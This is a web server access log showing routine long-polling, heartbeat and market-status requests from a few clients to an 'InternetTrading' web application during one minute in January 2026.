[09/Jan/2026:12:05:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931774336 HTTP/1.1" -
[09/Jan/2026:12:05:06 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931775368 HTTP/1.1" -
[09/Jan/2026:12:05:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931777334 HTTP/1.1" -
[09/Jan/2026:12:05:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931777196 HTTP/1.1" -
[09/Jan/2026:12:05:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931778707 HTTP/1.1" -
[09/Jan/2026:12:05:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931779189 HTTP/1.1" -
[09/Jan/2026:12:05:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931780326 HTTP/1.1" -
[09/Jan/2026:12:05:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931780325 HTTP/1.1" -
[09/Jan/2026:12:05:11 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931780619 HTTP/1.1" -
[09/Jan/2026:12:05:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931783332 HTTP/1.1" -
[09/Jan/2026:12:05:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931782268 HTTP/1.1" -
[09/Jan/2026:12:05:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931783900 HTTP/1.1" -
[09/Jan/2026:12:05:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931784225 HTTP/1.1" -
[09/Jan/2026:12:05:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931785872 HTTP/1.1" -
[09/Jan/2026:12:05:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931786331 HTTP/1.1" -
[09/Jan/2026:12:05:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931786332 HTTP/1.1" -
[09/Jan/2026:12:05:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:05:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:05:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:05:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:05:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931787339 HTTP/1.1" -
[09/Jan/2026:12:05:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931789266 HTTP/1.1" -
[09/Jan/2026:12:05:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931789031 HTTP/1.1" -
[09/Jan/2026:12:05:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:05:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:05:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931789338 HTTP/1.1" -
[09/Jan/2026:12:05:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:05:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:05:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:05:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:05:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931791087 HTTP/1.1" -
[09/Jan/2026:12:05:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:05:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:05:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931792334 HTTP/1.1" -
[09/Jan/2026:12:05:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931792334 HTTP/1.1" -
[09/Jan/2026:12:05:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931792429 HTTP/1.1" -
[09/Jan/2026:12:05:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931794295 HTTP/1.1" -
[09/Jan/2026:12:05:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931794168 HTTP/1.1" -
[09/Jan/2026:12:05:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:05:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:05:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931795338 HTTP/1.1" -
[09/Jan/2026:12:05:27 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931796205 HTTP/1.1" -
[09/Jan/2026:12:05:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:05:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:05:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:05:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:05:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931798326 HTTP/1.1" -
[09/Jan/2026:12:05:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931798327 HTTP/1.1" -
[09/Jan/2026:12:05:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931797452 HTTP/1.1" -
[09/Jan/2026:12:05:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931799318 HTTP/1.1" -
[09/Jan/2026:12:05:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931799307 HTTP/1.1" -
[09/Jan/2026:12:05:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931801338 HTTP/1.1" -
[09/Jan/2026:12:05:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931801497 HTTP/1.1" -
[09/Jan/2026:12:05:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:05:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:05:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931802493 HTTP/1.1" -
[09/Jan/2026:12:05:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931804369 HTTP/1.1" -
[09/Jan/2026:12:05:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931804364 HTTP/1.1" -
[09/Jan/2026:12:05:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931804324 HTTP/1.1" -
[09/Jan/2026:12:05:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931804324 HTTP/1.1" -
[09/Jan/2026:12:05:37 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931806710 HTTP/1.1" -
[09/Jan/2026:12:05:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931807327 HTTP/1.1" -
[09/Jan/2026:12:05:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931807555 HTTP/1.1" -
[09/Jan/2026:12:05:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931809406 HTTP/1.1" -
[09/Jan/2026:12:05:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931809409 HTTP/1.1" -
[09/Jan/2026:12:05:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931810337 HTTP/1.1" -
[09/Jan/2026:12:05:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931810337 HTTP/1.1" -
[09/Jan/2026:12:05:43 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931811931 HTTP/1.1" -
[09/Jan/2026:12:05:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931813339 HTTP/1.1" -
[09/Jan/2026:12:05:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931812646 HTTP/1.1" -
[09/Jan/2026:12:05:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931814447 HTTP/1.1" -
[09/Jan/2026:12:05:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931814534 HTTP/1.1" -
[09/Jan/2026:12:05:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931816334 HTTP/1.1" -
[09/Jan/2026:12:05:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931816334 HTTP/1.1" -
[09/Jan/2026:12:05:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931817151 HTTP/1.1" -
[09/Jan/2026:12:05:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:05:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:05:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:05:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:05:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931817712 HTTP/1.1" -
[09/Jan/2026:12:05:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931819493 HTTP/1.1" -
[09/Jan/2026:12:05:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:05:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:05:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931819330 HTTP/1.1" -
[09/Jan/2026:12:05:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931819684 HTTP/1.1" -
[09/Jan/2026:12:05:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:05:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:05:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931822336 HTTP/1.1" -
